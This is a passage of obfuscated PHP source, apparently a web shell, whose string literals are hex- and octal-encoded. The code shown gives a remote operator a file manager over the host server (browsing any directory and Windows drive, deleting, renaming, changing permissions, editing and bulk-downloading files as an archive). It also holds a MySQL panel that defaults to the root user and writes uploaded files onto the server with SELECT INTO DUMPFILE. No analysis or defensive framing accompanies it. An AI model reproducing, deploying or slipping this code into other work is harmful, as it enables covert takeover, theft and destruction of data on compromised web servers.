header("\x41\143\x63\145\x70\164\x2d\114\x65\156\x67\164\x68\72\x20".strlen($code)); header("\x43\157\x6e\164\x65\156\x74\55\x44\151\x73\160\x6f\163\x69\164\x69\157\x6e\72\x20\141\x74\164\x61\143\x68\155\x65\156\x74\73\x66\151\x6c\145\x6e\141\x6d\145\x3d".$_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"]."\x5f\106\x69\154\x65\163\x2e\164\x61\162\x2e\147\x7a"); echo $code; exit; } else { m("\x50\154\x65\141\x73\145\x20\163\x65\154\x65\143\x74\40\x66\151\x6c\145\x28\163\x29"); } } elseif($doing == "\x64\145\x6c\146\x69\154\x65\163") { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value) { if (@unlink($filepath)) { $succ++; } else { $fail++; } } m("\x44\145\x6c\145\x74\145\x64\40\x66\151\x6c\145\x20\150\x61\166\x65\40\x66\151\x6e\151\x73\150\x65\144\x3f\77\x63\150\x6f\157\x73\145\x20".count($dl)."\x20\163\x75\143\x63\145\x73\163\x20".$succ."\x20\146\x61\151\x6c\40".$fail); } else { m("\x50\154\x65\141\x73\145\x20\163\x65\154\x65\143\x74\40\x66\151\x6c\145\x28\163\x29"); } } formhead(array("\x6e\141\x6d\145"=>"\x63\162\x65\141\x74\145\x64\151\x72")); makehide("\x6e\145\x77\144\x69\162\x6e\141\x6d\145"); makehide("\x64\151\x72",$nowpath); formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x66\151\x6c\145\x70\145\x72\155")); makehide("\x6e\145\x77\160\x65\162\x6d"); makehide("\x70\146\x69\154\x65"); makehide("\x64\151\x72",$nowpath); formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x63\157\x70\171\x66\151\x6c\145")); makehide("\x73\156\x61\155\x65"); makehide("\x74\157\x66\151\x6c\145"); makehide("\x64\151\x72",$nowpath); formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x72\145\x6e\141\x6d\145")); makehide("\x6f\154\x64\156\x61\155\x65"); makehide("\x6e\145\x77\146\x69\154\x65\156\x61\155\x65"); makehide("\x64\151\x72",$nowpath); formfoot(); formhead(array("\x6e\141\x6d\145"=>"\x66\151\x6c\145\x6f\160\x66\157\x72\155")); makehide("\x61\143\x74\151\x6f\156"); makehide("\x6f\160\x66\151\x6c\145"); makehide("\x64\151\x72"); formfoot(); $free = @disk_free_space($nowpath); !$free && $free = 0; $all = @disk_total_space($nowpath); !$all && $all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p("\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x79\145\x6c\154\x6f\167\x20\146\x61\143\x65\75\x74\141\x68\157\x6d\141\x20\163\x69\172\x65\75\x32\76\x3c\102\x3e\106\x69\154\x65\40\x4d\141\x6e\141\x67\145\x72\74\x2f\142\x3e\40\x3c\57\x66\157\x6e\164\x3e\40\x43\165\x72\162\x65\156\x74\40\x64\151\x73\153\x20\146\x72\145\x65\40\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x72\145\x64\76".sizecount($free)."\x3c\57\x66\157\x6e\164\x3e\40\x6f\146\x20\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x3e".sizecount($all)."\x3c\57\x66\157\x6e\164\x3e\40\x28\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\162\x65\144\x3e".$used_percent."\x3c\57\x66\157\x6e\164\x3e\45\x29\74\x2f\146\x6f\156\x74\76"); ?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">  <form action="" method="post" id="godir" name="godir">  <tr>    <td nowrap>Current Directory (<?php  echo $dir_writeable;?>, <?php  echo getChmod($nowpath);?>)</td><td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php  echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>    <td nowrap><input class="bt" value="GO" type="submit"></td>  </tr>  </form></table><script type="text/javascript">function createdir(){var newdirname;newdirname = prompt('Please input the directory name:', '');if (!newdirname) return;$('createdir').newdirname.value=newdirname;$('createdir').submit();}function fileperm(pfile){var newperm;newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');if (!newperm) return;$('fileperm').newperm.value=newperm;$('fileperm').pfile.value=pfile;$('fileperm').submit();}function copyfile(sname){var tofile;tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');if (!tofile) return;$('copyfile').tofile.value=tofile;$('copyfile').sname.value=sname;$('copyfile').submit();}function rename(oldname){var newfilename;newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');if (!newfilename) return;$('rename').newfilename.value=newfilename;$('rename').oldname.value=oldname;$('rename').submit();}function dofile(doing,thefile,m){if (m && !confirm(m)) {return;}$('filelist').doing.value=doing;if (thefile){$('filelist').thefile.value=thefile;}$('filelist').submit();}function createfile(nowpath){var filename;filename = prompt('Please input the file name:', '');if (!filename) return;opfile('editfile',nowpath + filename,nowpath);}function opfile(action,opfile,dir){$('fileopform').action.value=action;$('fileopform').opfile.value=opfile;$('fileopform').dir.value=dir;$('fileopform').submit();}function godir(dir,view_writable){if (view_writable) {$('godir').view_writable.value=1;}$('godir').dir.value=dir;$('godir').submit();}</script>  <?php  tbhead(); p("\x3c\146\x6f\162\x6d\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\40\x6d\145\x74\150\x6f\144\x3d\42\x50\117\x53\124\x22\40\x65\156\x63\164\x79\160\x65\75\x22\155\x75\154\x74\151\x70\141\x72\164\x2f\146\x6f\162\x6d\55\x64\141\x74\141\x22\76\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\141\x6c\164\x31\42\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\42\x37\42\x20\163\x74\171\x6c\145\x3d\42\x70\141\x64\144\x69\156\x67\72\x35\160\x78\73\x22\76"); p("\x3c\144\x69\166\x20\163\x74\171\x6c\145\x3d\42\x66\154\x6f\141\x74\72\x72\151\x67\150\x74\73\x22\76\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\42\x69\156\x70\165\x74\42\x20\156\x61\155\x65\75\x22\165\x70\154\x6f\141\x64\146\x69\154\x65\42\x20\166\x61\154\x75\145\x3d\42\x22\40\x74\171\x70\145\x3d\42\x66\151\x6c\145\x22\40\x2f\76\x20\74\x69\156\x70\165\x74\40\x63\154\x61\163\x73\75\x22\42\x20\156\x61\155\x65\75\x22\144\x6f\165\x70\146\x69\154\x65\42\x20\166\x61\154\x75\145\x3d\42\x55\160\x6c\157\x61\144\x22\40\x74\171\x70\145\x3d\42\x73\165\x62\155\x69\164\x22\40\x2f\76\x3c\151\x6e\160\x75\164\x20\156\x61\155\x65\75\x22\165\x70\154\x6f\141\x64\144\x69\162\x22\40\x76\141\x6c\165\x65\75\x22".$dir."\x22\40\x74\171\x70\145\x3d\42\x68\151\x64\144\x65\156\x22\40\x2f\76\x3c\151\x6e\160\x75\164\x20\156\x61\155\x65\75\x22\144\x69\162\x22\40\x76\141\x6c\165\x65\75\x22".$dir."\x22\40\x74\171\x70\145\x3d\42\x68\151\x64\144\x65\156\x22\40\x2f\76\x3c\57\x64\151\x76\76"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x67\157\x64\151\x72\50\x5c\47".$_SERVER["\x44\117\x43\125\x4d\105\x4e\124\x5f\122\x4f\117\x54"]."\x5c\47\x29\73\x22\76\x57\145\x62\122\x6f\157\x74\74\x2f\141\x3e"); if ($view_writable) { p("\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\147\x6f\144\x69\162\x28\134\x27".$nowpath."\x5c\47\x29\73\x22\76\x56\151\x65\167\x20\101\x6c\154\x3c\57\x61\76"); } else { p("\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\147\x6f\144\x69\162\x28\134\x27".$nowpath."\x5c\47\x2c\134\x27\61\x5c\47\x29\73\x22\76\x56\151\x65\167\x20\127\x72\151\x74\141\x62\154\x65\74\x2f\141\x3e"); } p("\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\143\x72\145\x61\164\x65\144\x69\162\x28\51\x3b\42\x3e\103\x72\145\x61\164\x65\40\x44\151\x72\145\x63\164\x6f\162\x79\74\x2f\141\x3e\40\x7c\40\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x63\162\x65\141\x74\145\x66\151\x6c\145\x28\134\x27".$nowpath."\x5c\47\x29\73\x22\76\x43\162\x65\141\x74\145\x20\106\x69\154\x65\74\x2f\141\x3e"); if (IS_WIN && IS_COM) { $obj = new COM("\x73\143\x72\151\x70\164\x69\156\x67\56\x66\151\x6c\145\x73\171\x73\164\x65\155\x6f\142\x6a\145\x63\164"); if ($obj && is_object($obj)) { $DriveTypeDB = array(0 => "\x55\156\x6b\156\x6f\167",1 => "\x52\145\x6d\157\x76\141\x62\154\x65",2 => "\x46\151\x78\145\x64",3 => "\x4e\145\x74\167\x6f\162\x6b",4 => "\x43\104\x52\157\x6d",5 => "\x52\101\x4d\40\x44\151\x73\153"); foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p("\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\147\x6f\144\x69\162\x28\134\x27".$drive->Path."\x2f\134\x27\51\x3b\42\x20\164\x69\164\x6c\145\x3d\42\x53\151\x7a\145\x3a".sizecount($drive->TotalSize)."\x26\43\x31\63\x3b\106\x72\145\x65\72".sizecount($drive->FreeSpace)."\x26\43\x31\63\x3b\124\x79\160\x65\72".$DriveTypeDB[$drive->DriveType]."\x22\76".$DriveTypeDB[$drive->DriveType]."\x28".$drive->Path."\x29\74\x2f\141\x3e"); } else { p("\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\147\x6f\144\x69\162\x28\134\x27".$drive->Path."\x2f\134\x27\51\x3b\42\x20\164\x69\164\x6c\145\x3d\42\x54\171\x70\145\x3a".$DriveTypeDB[$drive->DriveType]."\x22\76".$DriveTypeDB[$drive->DriveType]."\x28".$drive->Path."\x29\74\x2f\141\x3e"); } } } } p("\x3c\57\x74\144\x3e\74\x2f\164\x72\76\x3c\57\x66\157\x72\155\x3e"); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\150\x65\141\x64\42\x3e\74\x74\144\x3e\46\x6e\142\x73\160\x3b\74\x2f\164\x64\76\x3c\164\x64\76\x46\151\x6c\145\x6e\141\x6d\145\x3c\57\x74\144\x3e\74\x74\144\x20\167\x69\144\x74\150\x3d\42\x31\66\x25\42\x3e\114\x61\163\x74\40\x6d\157\x64\151\x66\151\x65\144\x3c\57\x74\144\x3e\74\x74\144\x20\167\x69\144\x74\150\x3d\42\x31\60\x25\42\x3e\123\x69\172\x65\74\x2f\164\x64\76\x3c\164\x64\40\x77\151\x64\164\x68\75\x22\62\x30\45\x22\76\x43\150\x6d\157\x64\40\x2f\40\x50\145\x72\155\x73\74\x2f\164\x64\76\x3c\164\x64\40\x77\151\x64\164\x68\75\x22\62\x32\45\x22\76\x41\143\x74\151\x6f\156\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); } else { $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]=$file; $dirdb["\x6d\164\x69\155\x65"]=@date("\x59\55\x6d\55\x64\40\x48\72\x69\72\x73",filemtime($filepath)); $dirdb["\x64\151\x72\143\x68\155\x6f\144"]=getChmod($filepath); $dirdb["\x64\151\x72\160\x65\162\x6d"]=getPerms($filepath); $dirdb["\x66\151\x6c\145\x6f\167\x6e\145\x72"]=getUser($filepath); $dirdb["\x64\151\x72\154\x69\156\x6b"]=$nowpath; $dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]=$filepath; $dirdb["\x63\154\x69\145\x6e\164\x5f\154\x69\156\x6b"]=ue($filepath); $dirdata[]=$dirdb; } else { $filedb["\x66\151\x6c\145\x6e\141\x6d\145"]=$file; $filedb["\x73\151\x7a\145"]=sizecount(@filesize($filepath)); $filedb["\x6d\164\x69\155\x65"]=@date("\x59\55\x6d\55\x64\40\x48\72\x69\72\x73",filemtime($filepath)); $filedb["\x66\151\x6c\145\x63\150\x6d\157\x64"]=getChmod($filepath); $filedb["\x66\151\x6c\145\x70\145\x72\155"]=getPerms($filepath); $filedb["\x66\151\x6c\145\x6f\167\x6e\145\x72"]=getUser($filepath); $filedb["\x64\151\x72\154\x69\156\x6b"]=$nowpath; $filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]=$filepath; $filedb["\x63\154\x69\145\x6e\164\x5f\154\x69\156\x6b"]=ue($filepath); $filedata[]=$filedb; } } unset($dirdb); unset($filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = "\x30"; foreach($dirdata as $key => $dirdb){ if($dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]!="\x2e\56" && $dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]!="\x2e") { $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); p("\x3c\164\x64\40\x77\151\x64\164\x68\75\x22\62\x25\42\x20\156\x6f\167\x72\141\x70\76\x3c\146\x6f\156\x74\40\x66\141\x63\145\x3d\42\x77\151\x6e\147\x64\151\x6e\147\x73\42\x20\163\x69\172\x65\75\x22\63\x22\76\x30\74\x2f\146\x6f\156\x74\76\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x67\157\x64\151\x72\50\x5c\47".$dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76".$dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]."\x3c\57\x61\76\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e".$dirdb["\x6d\164\x69\155\x65"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e\55\x2d\74\x2f\164\x64\76"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x66\151\x6c\145\x70\145\x72\155\x28\134\x27".$dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76".$dirdb["\x64\151\x72\143\x68\155\x6f\144"]."\x3c\57\x61\76\x20\57\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x66\151\x6c\145\x70\145\x72\155\x28\134\x27".$dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76".$dirdb["\x64\151\x72\160\x65\162\x6d"]."\x3c\57\x61\76".$dirdb["\x66\151\x6c\145\x6f\167\x6e\145\x72"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\144\x6f\146\x69\154\x65\50\x5c\47\x64\145\x6c\144\x69\162\x5c\47\x2c\134\x27".$dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x2c\134\x27\101\x72\145\x20\171\x6f\165\x20\163\x75\162\x65\40\x77\151\x6c\154\x20\144\x65\154\x65\164\x65\40".$dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]."\x3f\40\\\x6e\\\156\x49\146\x20\156\x6f\156\x2d\145\x6d\160\x74\171\x20\144\x69\162\x65\143\x74\157\x72\171\x2c\40\x77\151\x6c\154\x20\142\x65\40\x64\145\x6c\145\x74\145\x20\141\x6c\154\x20\164\x68\145\x20\146\x69\154\x65\163\x2e\51\x22\76\x44\145\x6c\74\x2f\141\x3e\40\x7c\40\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x72\145\x6e\141\x6d\145\x28".$dirdb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x52\145\x6e\141\x6d\145\x3c\57\x61\76\x3c\57\x74\144\x3e"); p("\x3c\57\x74\162\x3e"); $dir_i++; } else { if($dirdb["\x66\151\x6c\145\x6e\141\x6d\145"]=="\x2e\56") { p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x66\157\x75\164\x3e"); p("\x3c\164\x64\40\x61\154\x69\147\x6e\75\x22\143\x65\156\x74\145\x72\42\x3e\74\x66\157\x6e\164\x20\146\x61\143\x65\75\x22\127\x69\156\x67\144\x69\156\x67\163\x20\63\x22\40\x73\151\x7a\145\x3d\64\x3e\75\x3c\57\x66\157\x6e\164\x3e\74\x2f\164\x64\76\x3c\164\x64\40\x6e\157\x77\162\x61\160\x20\143\x6f\154\x73\160\x61\156\x3d\42\x35\42\x3e\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\147\x6f\144\x69\162\x28\134\x27".getUpPath($nowpath)."\x5c\47\x29\73\x22\76\x50\141\x72\145\x6e\164\x20\104\x69\162\x65\143\x74\157\x72\171\x3c\57\x61\76\x3c\57\x74\144\x3e"); p("\x3c\57\x74\162\x3e"); } } } p("\x3c\164\x72\40\x62\147\x63\157\x6c\157\x72\75\x22\147\x72\145\x65\156\x22\40\x73\164\x6c\171\x65\75\x22\142\x6f\162\x64\145\x72\55\x74\157\x70\72\x31\160\x78\40\x73\157\x6c\151\x64\40\x67\162\x61\171\x3b\142\x6f\162\x64\145\x72\55\x62\157\x74\164\x6f\155\x3a\61\x70\170\x20\163\x6f\154\x69\144\x20\147\x72\141\x79\73\x22\76\x3c\164\x64\40\x63\157\x6c\163\x70\141\x6e\75\x22\66\x22\40\x68\145\x69\147\x68\164\x3d\42\x35\42\x3e\74\x2f\164\x64\76\x3c\57\x74\162\x3e"); p("\x3c\146\x6f\162\x6d\40\x69\144\x3d\42\x66\151\x6c\145\x6c\151\x73\164\x22\40\x6e\141\x6d\145\x3d\42\x66\151\x6c\145\x6c\151\x73\164\x22\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\40\x6d\145\x74\150\x6f\144\x3d\42\x70\157\x73\164\x22\76"); makehide("\x61\143\x74\151\x6f\156","\x66\151\x6c\145"); makehide("\x74\150\x65\146\x69\154\x65"); makehide("\x64\157\x69\156\x67"); makehide("\x64\151\x72",$nowpath); $file_i = "\x30"; foreach($filedata as $key => $filedb){ if($filedb["\x66\151\x6c\145\x6e\141\x6d\145"]!="\x2e\56" && $filedb["\x66\151\x6c\145\x6e\141\x6d\145"]!="\x2e") { $fileurl = str_replace(SA_ROOT,'',$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]); $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); p("\x3c\164\x64\40\x77\151\x64\164\x68\75\x22\62\x25\42\x20\156\x6f\167\x72\141\x70\76\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\143\x68\145\x63\153\x62\157\x78\42\x20\166\x61\154\x75\145\x3d\42\x31\42\x20\156\x61\155\x65\75\x22\144\x6c\133".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5d\42\x3e\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x3c\141\x20\150\x72\145\x66\75\x22".$fileurl."\x22\40\x74\141\x72\147\x65\164\x3d\42\x5f\142\x6c\141\x6e\153\x22\76".$filedb["\x66\151\x6c\145\x6e\141\x6d\145"]."\x3c\57\x61\76\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e".$filedb["\x6d\164\x69\155\x65"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e".$filedb["\x73\151\x7a\145"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x66\151\x6c\145\x70\145\x72\155\x28\134\x27".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76".$filedb["\x66\151\x6c\145\x63\150\x6d\157\x64"]."\x3c\57\x61\76\x20\57\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x66\151\x6c\145\x70\145\x72\155\x28\134\x27".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76".$filedb["\x66\151\x6c\145\x70\145\x72\155"]."\x3c\57\x61\76".$filedb["\x66\151\x6c\145\x6f\167\x6e\145\x72"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x64\157\x66\151\x6c\145\x28\134\x27\144\x6f\167\x6e\146\x69\154\x65\134\x27\54\x5c\47".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x44\157\x77\156\x3c\57\x61\76\x20\174\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x63\157\x70\171\x66\151\x6c\145\x28\134\x27".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x43\157\x70\171\x3c\57\x61\76\x20\174\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x6f\160\x66\151\x6c\145\x28\134\x27\145\x64\151\x74\146\x69\154\x65\134\x27\54\x5c\47".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x2c\134\x27".$filedb["\x64\151\x72\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x45\144\x69\164\x3c\57\x61\76\x20\174\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x72\145\x6e\141\x6d\145\x28\134\x27".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x52\145\x6e\141\x6d\145\x3c\57\x61\76\x20\174\x20"); p("\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x6f\160\x66\151\x6c\145\x28\134\x27\156\x65\167\x74\151\x6d\145\x5c\47\x2c\134\x27".$filedb["\x73\145\x72\166\x65\162\x5f\154\x69\156\x6b"]."\x5c\47\x2c\134\x27".$filedb["\x64\151\x72\154\x69\156\x6b"]."\x5c\47\x29\73\x22\76\x54\151\x6d\145\x3c\57\x61\76"); p("\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); $file_i++; } } p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\61\x22\76\x3c\164\x64\40\x61\154\x69\147\x6e\75\x22\143\x65\156\x74\145\x72\42\x3e\74\x69\156\x70\165\x74\40\x6e\141\x6d\145\x3d\42\x63\150\x6b\141\x6c\154\x22\40\x76\141\x6c\165\x65\75\x22\157\x6e\42\x20\164\x79\160\x65\75\x22\143\x68\145\x63\153\x62\157\x78\42\x20\157\x6e\143\x6c\151\x63\153\x3d\42\x43\150\x65\143\x6b\101\x6c\154\x28\164\x68\151\x73\56\x66\157\x72\155\x29\42\x20\57\x3e\74\x2f\164\x64\76\x3c\164\x64\76\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x64\157\x66\151\x6c\145\x28\134\x27\144\x6f\167\x6e\162\x61\162\x5c\47\x29\73\x22\76\x50\141\x63\153\x69\156\x67\40\x64\157\x77\156\x6c\157\x61\144\x20\163\x65\154\x65\143\x74\145\x64\74\x2f\141\x3e\40\x2d\40\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x64\157\x66\151\x6c\145\x28\134\x27\144\x65\154\x66\151\x6c\145\x73\134\x27\51\x3b\42\x3e\104\x65\154\x65\164\x65\40\x73\145\x6c\145\x63\164\x65\144\x3c\57\x61\76\x3c\57\x74\144\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\42\x34\42\x20\141\x6c\151\x67\156\x3d\42\x72\151\x67\150\x74\42\x3e".$dir_i."\x20\144\x69\162\x65\143\x74\157\x72\151\x65\163\x20\57\x20".$file_i."\x20\146\x69\154\x65\163\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); p("\x3c\57\x66\157\x72\155\x3e\74\x2f\164\x61\142\x6c\145\x3e"); } elseif ($action == "\x73\161\x6c\146\x69\154\x65") { if($doing=="\x6d\171\x73\161\x6c\165\x70\154\x6f\141\x64"){ $file = $_FILES["\x75\160\x6c\157\x61\144\x66\151\x6c\145"]; $filename = $file["\x74\155\x70\137\x6e\141\x6d\145"]; if (file_exists($savepath)) { m("\x54\150\x65\40\x67\157\x61\154\x20\146\x69\154\x65\40\x68\141\x73\40\x61\154\x72\145\x61\144\x79\40\x65\170\x69\163\x74\145\x64"); } else { if(!$filename) { m("\x50\154\x65\141\x73\145\x20\143\x68\157\x6f\163\x65\40\x61\40\x66\151\x6c\145"); } else { $fp=@fopen($filename,"\x72"); $contents=@fread($fp, filesize($filename)); @fclose($fp); $contents = bin2hex($contents); if(!$upname) $upname = $file["\x6e\141\x6d\145"]; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $result = q("\x53\105\x4c\105\x43\124\x20\60\x78{$contents}\x20\106\x52\117\x4d\40\x6d\171\x73\161\x6c\56\x75\163\x65\162\x20\111\x4e\124\x4f\40\x44\125\x4d\120\x46\111\x4c\105\x20\47$savepath\x27\73"); m($result ? "\x55\160\x6c\157\x61\144\x20\163\x75\143\x63\145\x73\163" : "\x55\160\x6c\157\x61\144\x20\150\x61\163\x20\146\x61\151\x6c\145\x64\72\x20".mysql_error()); } } } ?><script type="text/javascript">function mysqlfile(doing){if(!doing) return;$('doing').value=doing;$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;$('mysqlfile').dbport.value=$('dbinfo').dbport.value;$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;$('mysqlfile').dbname.value=$('dbinfo').dbname.value;$('mysqlfile').charset.value=$('dbinfo').charset.value;$('mysqlfile').submit();}</script><?php  !$dbhost && $dbhost = "\x6c\157\x63\141\x6c\150\x6f\163\x74"; !$dbuser && $dbuser = "\x72\157\x6f\164"; !$dbport && $dbport = "\x33\63\x30\66"; $charsets = array(''=>"\x44\145\x66\141\x75\154\x74","\x67\142\x6b"=>"\x47\102\x4b", "\x62\151\x67\65"=>"\x42\151\x67\65", "\x75\164\x66\70"=>"\x55\124\x46\55\x38", "\x6c\141\x74\151\x6e\61"=>"\x4c\141\x74\151\x6e\61"); formhead(array("\x74\151\x74\154\x65"=>"\x4d\131\x53\121\x4c\40\x49\156\x66\157\x72\155\x61\164\x69\157\x6e","\x6e\141\x6d\145"=>"\x64\142\x69\156\x66\157")); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\146\x69\154\x65"); p("\x3c\160\x3e"); p("\x44\102\x48\157\x73\164\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x68\157\x73\164","\x73\151\x7a\145"=>20,"\x76\141\x6c\165\x65"=>$dbhost)); p("\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x70\157\x72\164","\x73\151\x7a\145"=>4,"\x76\141\x6c\165\x65"=>$dbport)); p("\x44\102\x55\163\x65\162\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x75\163\x65\162","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$dbuser)); p("\x44\102\x50\141\x73\163\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x64\142\x70\141\x73\163","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$dbpass)); 